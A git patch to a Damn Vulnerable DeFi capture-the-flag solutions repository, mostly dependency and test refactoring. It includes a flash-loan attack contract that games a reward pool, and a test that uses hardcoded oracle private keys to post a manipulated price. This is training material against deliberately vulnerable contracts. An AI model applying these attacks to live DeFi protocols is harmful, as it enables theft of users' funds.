From b370aa82e8f53995ee0e9a8af768ece6aa4fe40e Mon Sep 17 00:00:00 2001 From: Boris Date: Sun, 15 Oct 2023 11:19:20 +0800 Subject: [PATCH] a --- .gitmodules | 21 ++++++ .prettierignore | 1 + .solhintignore | 1 + README.md | 29 +++++++++ .../00.Base/DamnVulnerableDeFi.sol | 29 +++++++++ .../05.The-Rewarder/05.The-Rewarder.sol | 16 ++--- .../06.Selfie/06.Selfie.sol | 52 +++++++-------- .../10.Free-Rider/10.Free-Rider.sol | 29 +++++++-- foundry/lib/@gnosis.pm/safe-contracts | 1 + foundry/lib/@gnosis.pm/safe-contracts-v1.3.0 | 1 + foundry/lib/@openzeppelin/contracts | 1 + .../lib/@openzeppelin/contracts-upgradeable | 1 + .../contracts-upgradeable-v4.7.1 | 1 + foundry/lib/@openzeppelin/contracts-v4.7.1 | 1 + foundry/lib/v2-core | 1 - foundry/lib/v2-periphery | 1 - foundry/lib/v3-core | 1 - foundry/lib/v3-periphery | 1 - foundry/lib/v4-core | 1 - foundry/lib/v4-periphery | 1 - .../05.The-Rewarder.t.sol | 10 +-- .../Damn-Vulnerable-DeFi/07.Compromised.t.sol | 4 +- .../Damn-Vulnerable-DeFi/10.Free-Rider.t.sol | 65 +++++++++++++++++-- remappings.txt | 6 +- 24 files changed, 215 insertions(+), 60 deletions(-) create mode 160000 foundry/lib/@gnosis.pm/safe-contracts create mode 160000 foundry/lib/@gnosis.pm/safe-contracts-v1.3.0 create mode 160000 foundry/lib/@openzeppelin/contracts create mode 160000 foundry/lib/@openzeppelin/contracts-upgradeable create mode 160000 foundry/lib/@openzeppelin/contracts-upgradeable-v4.7.1 create mode 160000 foundry/lib/@openzeppelin/contracts-v4.7.1 delete mode 160000 foundry/lib/v2-core delete mode 160000 foundry/lib/v2-periphery delete mode 160000 foundry/lib/v3-core delete mode 160000 foundry/lib/v3-periphery delete mode 160000 foundry/lib/v4-core delete mode 160000 foundry/lib/v4-periphery diff --git a/.gitmodules b/.gitmodules index 4b42299..c15a684 100644 --- a/.gitmodules +++ b/.gitmodules @@ -67,3 +67,24 @@ [submodule "foundry/lib/@uniswap/v4-periphery"] path = foundry/lib/@uniswap/v4-periphery url = https://github.com/Uniswap/v4-periphery +[submodule "foundry/lib/@gnosis.pm/safe-contracts"] + path = foundry/lib/@gnosis.pm/safe-contracts + url = https://github.com/safe-global/safe-contracts +[submodule "foundry/foundry/lib/@gnosis.pm/safe-contracts-v1.3.0"] + path = foundry/foundry/lib/@gnosis.pm/safe-contracts-v1.3.0 + url = https://github.com/safe-global/safe-contracts +[submodule "foundry/lib/@gnosis.pm/safe-contracts-v1.3.0"] + path = foundry/lib/@gnosis.pm/safe-contracts-v1.3.0 + url = https://github.com/safe-global/safe-contracts +[submodule "foundry/lib/@openzeppelin/contracts"] + path = foundry/lib/@openzeppelin/contracts + url = https://github.com/OpenZeppelin/openzeppelin-contracts +[submodule "foundry/lib/@openzeppelin/contracts-v4.7.1"] + path = foundry/lib/@openzeppelin/contracts-v4.7.1 + url = https://github.com/OpenZeppelin/openzeppelin-contracts +[submodule "foundry/lib/@openzeppelin/contracts-upgradeable"] + path = foundry/lib/@openzeppelin/contracts-upgradeable + url = https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable +[submodule "foundry/lib/@openzeppelin/contracts-upgradeable-v4.7.1"] + path = foundry/lib/@openzeppelin/contracts-upgradeable-v4.7.1 + url = https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable diff --git a/.prettierignore b/.prettierignore index 1310819..e14c166 100644 --- a/.prettierignore +++ b/.prettierignore @@ -15,3 +15,4 @@ lcov.info package-lock.json pnpm-lock.yaml yarn.lock +foundry/lib diff --git a/.solhintignore b/.solhintignore index e69de29..add142e 100644 --- a/.solhintignore +++ b/.solhintignore @@ -0,0 +1 @@ +foundry/lib diff --git a/README.md b/README.md index 5f4fa51..da262ec 100644 --- a/README.md +++ b/README.md @@ -54,6 +54,35 @@ git submodule add https://github.com/safe-global/safe-contracts foundry/lib/safe + +git submodule add https://github.com/Uniswap/v2-core foundry/lib/@uniswap/v2-core +git submodule add https://github.com/Uniswap/v2-periphery foundry/lib/@uniswap/v2-periphery + +git submodule add https://github.com/Uniswap/v3-core foundry/lib/@uniswap/v3-core +git submodule add https://github.com/Uniswap/v3-periphery foundry/lib/@uniswap/v3-periphery + +git submodule add https://github.com/Uniswap/v4-core foundry/lib/@uniswap/v4-core +git submodule add https://github.com/Uniswap/v4-periphery foundry/lib/@uniswap/v4-periphery + +git submodule add https://github.com/safe-global/safe-contracts foundry/lib/@gnosis.pm/safe-contracts +git submodule add https://github.com/safe-global/safe-contracts foundry/lib/@gnosis.pm/safe-contracts-v1.3.0 +# cd foundry/lib/@gnosis.pm/safe-contracts-v1.3.0 && git checkout tags/v1.3.0 + +git submodule add https://github.com/OpenZeppelin/openzeppelin-contracts foundry/lib/@openzeppelin/contracts +git submodule add https://github.com/OpenZeppelin/openzeppelin-contracts foundry/lib/@openzeppelin/contracts-v4.7.1 +# cd foundry/lib/@openzeppelin/contracts-v4.7.1 && git checkout tags/v4.7.1 + +git submodule add https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable foundry/lib/@openzeppelin/contracts-upgradeable +git submodule add https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable foundry/lib/@openzeppelin/contracts-upgradeable-v4.7.1 +# cd foundry/lib/@openzeppelin/contracts-upgradeable-v4.7.1 && git checkout tags/v4.7.1 + + + +rm -rf .git/modules/foundry/lib/@uniswap +git submodule deinit -f foundry/lib/@uniswap/ +git rm --cached -r foundry/lib/@uniswap + + forge install safe-global/safe-contracts --no-commit ``` diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnVulnerableDeFi.sol b/contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnVulnerableDeFi.sol index dc4601d..4fe345d 100644 --- a/contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnVulnerableDeFi.sol +++ b/contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnVulnerableDeFi.sol @@ -2,6 +2,9 @@ pragma solidity ^0.8.0; import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol"; +import { ERC721Burnable } from "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol"; +import { AccessControl } from "@openzeppelin/contracts/access/AccessControl.sol"; /** * @title DamnValuableToken @@ -13,3 +16,29 @@ contract DamnValuableToken is ERC20 { _mint(msg.sender, type(uint256).max); } } + +/** + * @title DamnValuableNFT + * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) + * @notice Implementation of a mintable and burnable NFT with role-based access controls + */ +contract DamnValuableNFT is ERC721, ERC721Burnable, AccessControl { + bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); + uint256 public tokenIdCounter; + + constructor() ERC721("DamnValuableNFT", "DVNFT") { + _grantRole(DEFAULT_ADMIN_ROLE, msg.sender); + _grantRole(MINTER_ROLE, msg.sender); + } + + function safeMint(address to) public onlyRole(MINTER_ROLE) returns (uint256 tokenId) { + tokenId = tokenIdCounter; + _safeMint(to, tokenId); + ++tokenIdCounter; + } + + // The following functions are overrides required by Solidity. + function supportsInterface(bytes4 interfaceId) public view override(ERC721, AccessControl) returns (bool) { + return super.supportsInterface(interfaceId); + } +} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder/05.The-Rewarder.sol b/contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder/05.The-Rewarder.sol index ec430fd..906d3d9 100644 --- a/contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder/05.The-Rewarder.sol +++ b/contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder/05.The-Rewarder.sol @@ -188,22 +188,22 @@ contract TheRewarderPool { } contract TheRewarderHack { - FlashLoanerPool flashloan; - TheRewarderPool pool; - DamnValuableToken dvt; - RewardToken reward; + FlashLoanerPool private flashLoanPool; + TheRewarderPool private pool; + DamnValuableToken private dvt; + RewardToken private reward; address internal player; constructor(address _flashloan, address _pool, address _dvt, address _reward) { - flashloan = FlashLoanerPool(_flashloan); + flashLoanPool = FlashLoanerPool(_flashloan); pool = TheRewarderPool(_pool); dvt = DamnValuableToken(_dvt); reward = RewardToken(_reward); player = msg.sender; } - function attack(uint256 amount) external { - flashloan.flashLoan(amount); + function attack() external { + flashLoanPool.flashLoan(dvt.balanceOf(address(flashLoanPool))); } function receiveFlashLoan(uint256 amount) external { @@ -213,7 +213,7 @@ contract TheRewarderHack { // withdraw liquidity token pool.withdraw(amount); // repay to flashloan - dvt.transfer(address(flashloan), amount); + dvt.transfer(address(flashLoanPool), amount); uint256 rewardBalance = reward.balanceOf(address(this)); reward.transfer(player, rewardBalance); } diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/06.Selfie/06.Selfie.sol b/contracts/CTF/Damn-Vulnerable-DeFi/06.Selfie/06.Selfie.sol index b61ba93..4ad9323 100644 --- a/contracts/CTF/Damn-Vulnerable-DeFi/06.Selfie/06.Selfie.sol +++ b/contracts/CTF/Damn-Vulnerable-DeFi/06.Selfie/06.Selfie.sol @@ -7,32 +7,6 @@ import "@openzeppelin/contracts-v4.7.1/interfaces/IERC3156FlashLender.sol"; import "@openzeppelin/contracts-v4.7.1/interfaces/IERC3156FlashBorrower.sol"; import { DamnValuableTokenSnapshot } from "../00.Base/DamnValuableTokenSnapshot.sol"; -interface ISimpleGovernance { - struct GovernanceAction { - uint128 value; - uint64 proposedAt; - uint64 executedAt; - address target; - bytes data; - } - - error NotEnoughVotes(address who); - error CannotExecute(uint256 actionId); - error InvalidTarget(); - error TargetMustHaveCode(); - error ActionFailed(uint256 actionId); - - event ActionQueued(uint256 actionId, address indexed caller); - event ActionExecuted(uint256 actionId, address indexed caller); - - function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId); - function executeAction(uint256 actionId) external payable returns (bytes memory returndata); - function getActionDelay() external view returns (uint256 delay); - function getGovernanceToken() external view returns (address token); - function getAction(uint256 actionId) external view returns (GovernanceAction memory action); - function getActionCounter() external view returns (uint256); -} - contract SelfiePool is ReentrancyGuard, IERC3156FlashLender { ERC20Snapshot public immutable token; SimpleGovernance public immutable governance; @@ -105,6 +79,32 @@ contract SelfiePool is ReentrancyGuard, IERC3156FlashLender { } } +interface ISimpleGovernance { + struct GovernanceAction { + uint128 value; + uint64 proposedAt; + uint64 executedAt; + address target; + bytes data; + } + + error NotEnoughVotes(address who); + error CannotExecute(uint256 actionId); + error InvalidTarget(); + error TargetMustHaveCode(); + error ActionFailed(uint256 actionId); + + event ActionQueued(uint256 actionId, address indexed caller); + event ActionExecuted(uint256 actionId, address indexed caller); + + function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId); + function executeAction(uint256 actionId) external payable returns (bytes memory returndata); + function getActionDelay() external view returns (uint256 delay); + function getGovernanceToken() external view returns (address token); + function getAction(uint256 actionId) external view returns (GovernanceAction memory action); + function getActionCounter() external view returns (uint256); +} + contract SimpleGovernance is ISimpleGovernance { uint256 private constant ACTION_DELAY_IN_SECONDS = 2 days; DamnValuableTokenSnapshot private _governanceToken; diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/10.Free-Rider/10.Free-Rider.sol b/contracts/CTF/Damn-Vulnerable-DeFi/10.Free-Rider/10.Free-Rider.sol index 1cc88cf..1bbb189 100644 --- a/contracts/CTF/Damn-Vulnerable-DeFi/10.Free-Rider/10.Free-Rider.sol +++ b/contracts/CTF/Damn-Vulnerable-DeFi/10.Free-Rider/10.Free-Rider.sol @@ -1,11 +1,11 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; -import "@openzeppelin/contracts-v4.7.1/utils/Address.sol"; -import "@openzeppelin/contracts-v4.7.1/security/ReentrancyGuard.sol"; -import "@openzeppelin/contracts-v4.7.1/token/ERC721/IERC721.sol"; -import "@openzeppelin/contracts-v4.7.1/token/ERC721/IERC721Receiver.sol"; -import "../00.Base/DamnValuableNFT.sol"; +import { Address } from "@openzeppelin/contracts-v4.7.1/utils/Address.sol"; +import { ReentrancyGuard } from "@openzeppelin/contracts-v4.7.1/security/ReentrancyGuard.sol"; +import { IERC721 } from "@openzeppelin/contracts-v4.7.1/token/ERC721/IERC721.sol"; +import { IERC721Receiver } from "@openzeppelin/contracts-v4.7.1/token/ERC721/IERC721Receiver.sol"; +import { DamnValuableNFT } from "../00.Base/DamnValuableNFT.sol"; contract FreeRiderNFTMarketplace is ReentrancyGuard { using Address for address payable; @@ -180,3 +180,22 @@ contract FreeRiderRecovery is ReentrancyGuard, IERC721Receiver { return IERC721Receiver.onERC721Received.selector; } } + +interface IWETH { + function name() external view returns (string memory); + function approve(address guy, uint256 amount) external returns (bool); + function totalSupply() external view returns (uint256); + function transferFrom(address src, address dst, uint256 amount) external returns (bool); + function withdraw(uint256 amount) external; + function decimals() external view returns (uint8); + function balanceOf(address) external view returns (uint256); + function symbol() external view returns (string memory); + function transfer(address dst, uint256 amount) external returns (bool); + function deposit() external payable; + function allowance(address, address) external view returns (uint256); + + event Approval(address indexed src, address indexed guy, uint256 amount); + event Transfer(address indexed src, address indexed dst, uint256 amount); + event Deposit(address indexed dst, uint256 amount); + event Withdrawal(address indexed src, uint256 amount); +} diff --git a/foundry/lib/@gnosis.pm/safe-contracts b/foundry/lib/@gnosis.pm/safe-contracts new file mode 160000 index 0000000..810fad9 --- /dev/null +++ b/foundry/lib/@gnosis.pm/safe-contracts @@ -0,0 +1 @@ +Subproject commit 810fad9a074837e1247ca24ac9e7f77a5dffce19 diff --git a/foundry/lib/@gnosis.pm/safe-contracts-v1.3.0 b/foundry/lib/@gnosis.pm/safe-contracts-v1.3.0 new file mode 160000 index 0000000..186a21a --- /dev/null +++ b/foundry/lib/@gnosis.pm/safe-contracts-v1.3.0 @@ -0,0 +1 @@ +Subproject commit 186a21a74b327f17fc41217a927dea7064f74604 diff --git a/foundry/lib/@openzeppelin/contracts b/foundry/lib/@openzeppelin/contracts new file mode 160000 index 0000000..6383299 --- /dev/null +++ b/foundry/lib/@openzeppelin/contracts @@ -0,0 +1 @@ +Subproject commit 6383299d715d7cd3d697ab655b42f8e61e52e197 diff --git a/foundry/lib/@openzeppelin/contracts-upgradeable b/foundry/lib/@openzeppelin/contracts-upgradeable new file mode 160000 index 0000000..9610f7d --- /dev/null +++ b/foundry/lib/@openzeppelin/contracts-upgradeable @@ -0,0 +1 @@ +Subproject commit 9610f7de978f623ecf4ae5e4b917e53e17ceaff2 diff --git a/foundry/lib/@openzeppelin/contracts-upgradeable-v4.7.1 b/foundry/lib/@openzeppelin/contracts-upgradeable-v4.7.1 new file mode 160000 index 0000000..5e9bccb --- /dev/null +++ b/foundry/lib/@openzeppelin/contracts-upgradeable-v4.7.1 @@ -0,0 +1 @@ +Subproject commit 5e9bccb282ee8f3c9c4abaccc74b40b9d34ccffa diff --git a/foundry/lib/@openzeppelin/contracts-v4.7.1 b/foundry/lib/@openzeppelin/contracts-v4.7.1 new file mode 160000 index 0000000..3b8b4ba --- /dev/null +++ b/foundry/lib/@openzeppelin/contracts-v4.7.1 @@ -0,0 +1 @@ +Subproject commit 3b8b4ba82c880c31cd3b96dd5e15741d7e26658e diff --git a/foundry/lib/v2-core b/foundry/lib/v2-core deleted file mode 160000 index 4dd5906..0000000 --- a/foundry/lib/v2-core +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 4dd59067c76dea4a0e8e4bfdda41877a6b16dedc diff --git a/foundry/lib/v2-periphery b/foundry/lib/v2-periphery deleted file mode 160000 index 0335e8f..0000000 --- a/foundry/lib/v2-periphery +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 0335e8f7e1bd1e8d8329fd300aea2ef2f36dd19f diff --git a/foundry/lib/v3-core b/foundry/lib/v3-core deleted file mode 160000 index e3589b1..0000000 --- a/foundry/lib/v3-core +++ /dev/null @@ -1 +0,0 @@ -Subproject commit e3589b192d0be27e100cd0daaf6c97204fdb1899 diff --git a/foundry/lib/v3-periphery b/foundry/lib/v3-periphery deleted file mode 160000 index 80f26c8..0000000 --- a/foundry/lib/v3-periphery +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 80f26c86c57b8a5e4b913f42844d4c8bd274d058 diff --git a/foundry/lib/v4-core b/foundry/lib/v4-core deleted file mode 160000 index 0095e08..0000000 --- a/foundry/lib/v4-core +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 0095e0848098c3e32e016eac6d2537b67aa47358 diff --git a/foundry/lib/v4-periphery b/foundry/lib/v4-periphery deleted file mode 160000 index 581d96d..0000000 --- a/foundry/lib/v4-periphery +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 581d96dfd8b281cafe351205bf6d2d65efb4df90 diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.t.sol index a1e1008..26324c1 100644 --- a/foundry/test/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.t.sol +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.t.sol @@ -18,11 +18,11 @@ import { Math } from "@openzeppelin/contracts/utils/math/Math.sol"; /* https://www.damnvulnerabledefi.xyz/challenges/naive-receiver/ - + forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.t.sol -vvvvv */ -contract The_Rewarder_03_Test is Test { +contract _03_Test is Test { using FixedPointMathLib for uint256; address private deployer = address(1); @@ -65,13 +65,15 @@ contract The_Rewarder_03_Test is Test { assertTrue(accountingToken.hasAllRoles(address(rewarderPool), mintRole | snapShotRole | burnerRole)); - uint256 depositAmount = 100e18; + uint256 depositAmount = 100 ether; for (uint256 i = 0; i < users.length; i++) { liquidityToken.transfer(users[i], depositAmount); vm.startPrank(users[i]); + liquidityToken.approve(address(rewarderPool), depositAmount); rewarderPool.deposit(depositAmount); assertEq(accountingToken.balanceOf(users[i]), depositAmount); + vm.stopPrank(); } vm.warp(block.timestamp + 5 days); @@ -98,7 +100,7 @@ contract The_Rewarder_03_Test is Test { TheRewarderHack hackInst = new TheRewarderHack(address(flashLoanPool), address(rewarderPool), address(liquidityToken), address(rewardToken)); - hackInst.attack(TOKENS_IN_LENDER_POOL); + hackInst.attack(); /* END CODE YOUR SOLUTION */ vm.stopPrank(); _after(); diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/07.Compromised.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/07.Compromised.t.sol index 28100a4..8a4378f 100644 --- a/foundry/test/CTF/Damn-Vulnerable-DeFi/07.Compromised.t.sol +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/07.Compromised.t.sol @@ -15,7 +15,7 @@ import { /* https://www.damnvulnerabledefi.xyz/challenges/naive-receiver/ - + forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/07.Compromised.t.sol -vvvvv */ @@ -75,7 +75,9 @@ contract Compromised_07_Test is Test { function test_Exploit() public { /* START CODE YOUR SOLUTION HERE */ + // 0xe92401A4d3af5E446d93D11EEc806b1462b39D15 oracle1 = vm.addr(0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9); + // 0x81A5D6E50C214044bE44cA0CB057fe119097850c oracle2 = vm.addr(0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48); _postPrice(0.0001 ether); diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol index cc07bda..5ab7954 100644 --- a/foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol @@ -2,19 +2,49 @@ pragma solidity ^0.8.0; import { Test } from "forge-std/Test.sol"; +import { PRBTest } from "@prb/test/PRBTest.sol"; import { Vm } from "forge-std/Vm.sol"; -import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; + +import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnVulnerableDeFi.sol"; +import { DamnValuableNFT } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableNFT.sol"; +import { + IWETH, + FreeRiderNFTMarketplace, + FreeRiderRecovery +} from "@contracts/CTF/Damn-Vulnerable-DeFi/10.Free-Rider/10.Free-Rider.sol"; +import { IUniswapV2Router02 } from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; +import { IUniswapV2Factory } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; +import { IUniswapV2Pair } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; /* forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol -vvvvv */ -contract Free_Rider_10_Test is Test { +contract Free_Rider_10_Test is PRBTest { // hacking attack address address private deployer = address(1); - address private feeRecipient = address(2); + address private devs = address(2); address private player = address(2333); - DamnValuableToken public token; + + // Mainnet cntracts + // https://etherscan.io/token/0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2#code + IWETH private weth = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); + // https://etherscan.io/address/0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D#code + IUniswapV2Router02 private uniswapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); + // https://etherscan.io/address/0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f#code + IUniswapV2Factory private uniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); + DamnValuableToken private token; + DamnValuableNFT private nft; + FreeRiderNFTMarketplace private marketplace; + FreeRiderRecovery private devsContract; + + uint256 NFT_PRICE = 15 ether; + uint256 AMOUNT_OF_NFTS = 6; + uint256 MARKETPLACE_INITIAL_ETH_BALANCE = 90 ether; + uint256 PLAYER_INITIAL_ETH_BALANCE = 0.1 ether; + uint256 BOUNTY = 45 ether; + uint256 UNISWAP_INITIAL_TOKEN_RESERVE = 15_000 ether; + uint256 UNISWAP_INITIAL_WETH_RESERVE = 15_000 ether; function setUp() public { vm.startPrank(deployer); @@ -25,7 +55,23 @@ contract Free_Rider_10_Test is Test { function _before() public { /* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ + vm.createSelectFork({ urlOrAlias: "mainnet", blockNumber: 18_348_539 }); + weth.deposit{ value: 1 ether }(); token = new DamnValuableToken(); + weth.deposit{ value: 1 ether }(); + weth.balanceOf(deployer); + marketplace = new FreeRiderNFTMarketplace{ value: MARKETPLACE_INITIAL_ETH_BALANCE }(AMOUNT_OF_NFTS); + + // Deploy nft + nft = new DamnValuableNFT(); + assertEq(nft.owner(), address(deployer), ""); + for (uint256 id = 1; id < AMOUNT_OF_NFTS; id++) { + // assertEq(nft.ownerOf(id), deployer, "nft.ownerOf(id)"); + } + nft.setApprovalForAll(address(marketplace), true); + // marketplace.offerMany([0, 1, 2, 3, 4, 5], [NFT_PRICE, NFT_PRICE, NFT_PRICE, NFT_PRICE, NFT_PRICE, + // NFT_PRICE]); + devsContract = new FreeRiderRecovery{ value: BOUNTY }(player, address(nft)); } function test_Exploit() public { @@ -34,13 +80,20 @@ contract Free_Rider_10_Test is Test { // ... /* END CODE YOUR SOLUTION */ - vm.startPrank(deployer); + _after(); } function _after() public { /* SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */ - assertEq(token.totalSupply(), type(uint256).max, "CHECK totalSupply()"); + vm.startPrank(devs); + for (uint256 tokenId = 0; tokenId < AMOUNT_OF_NFTS; tokenId++) { + // nft.transferFrom(address(devsContract), devs, tokenId); + // assertEq(nft.ownerOf(tokenId), devs, ""); + } + assertEq(marketplace.offersCount(), 0, ""); + assertLt(address(marketplace).balance, MARKETPLACE_INITIAL_ETH_BALANCE, ""); + assertEq(address(devsContract).balance, 0, ""); vm.stopPrank(); } } diff --git a/remappings.txt b/remappings.txt index ab63a4b..0b1840d 100644 --- a/remappings.txt +++ b/remappings.txt @@ -1,6 +1,7 @@ @contracts=contracts forge-std=foundry/lib/forge-std/src + @solmate=foundry/lib/solmate/src @solady=foundry/lib/solady/src @prb/test=foundry/lib/prb-test/src @@ -14,7 +15,4 @@ forge-std=foundry/lib/forge-std/src @openzeppelin/contracts-upgradeable=foundry/lib/openzeppelin-contracts-upgradeable/contracts @openzeppelin/contracts-upgradeable-v4.7.1=foundry/lib/openzeppelin-contracts-upgradeable-v4.7.1/contracts -@uniswap/v2-core=foundry/lib/v2-core -@uniswap/v2-periphery=foundry/lib/v2-periphery -@uniswap/v3-core=foundry/lib/v3-core -@uniswap/v3-periphery=foundry/lib/v3-periphery +